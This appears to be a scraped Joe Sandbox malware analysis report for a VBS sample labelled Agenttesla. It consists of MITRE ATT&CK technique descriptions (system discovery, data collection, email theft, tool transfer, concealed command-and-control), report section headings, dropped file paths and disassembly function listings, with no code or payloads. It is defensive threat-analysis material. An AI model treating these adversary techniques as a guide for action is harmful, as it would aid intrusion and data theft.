Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report GJ890-1286.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ilbo13zy.j2f.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xv2hgkd3.00w.psm1

Static File Info

General

File Icon

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Windows Analysis Report
GJ890-1286.vbs

Function 00007FF9A5A720C9 Relevance: 1.7, Strings: 1, Instructions: 458
COMMON

Function 00007FF9A5A72B74 Relevance: 1.8, APIs: 1, Instructions: 339
processCOMMON

Function 00007FF9A5A72EA6 Relevance: 1.7, APIs: 1, Instructions: 179
COMMON

Function 00007FF9A5A73224 Relevance: 1.7, APIs: 1, Instructions: 160
injectionCOMMON

Function 00007FF9A5A72F15 Relevance: 1.6, APIs: 1, Instructions: 131
threadCOMMON

Function 00007FF9A5A73345 Relevance: 1.6, APIs: 1, Instructions: 101
threadCOMMON

Function 00007FF9A5B40C2E Relevance: .7, Instructions: 685
COMMON

Function 00007FF9A5B40DE8 Relevance: .2, Instructions: 198
COMMON

Function 00007FF9A5B4047E Relevance: .1, Instructions: 149
COMMON

Function 00F4F198 Relevance: 1.6, APIs: 1, Instructions: 135
COMMON

Function 00F4F56C Relevance: 1.6, APIs: 1, Instructions: 134
COMMON

Function 00F4F6E4 Relevance: 1.6, APIs: 1, Instructions: 134
COMMON

Function 00F45A84 Relevance: 1.6, APIs: 1, Instructions: 97
libraryCOMMON

Function 00F47605 Relevance: 1.6, APIs: 1, Instructions: 94
libraryCOMMON

Function 05CF4B30 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Function 05CFBE28 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Function 05CFD218 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre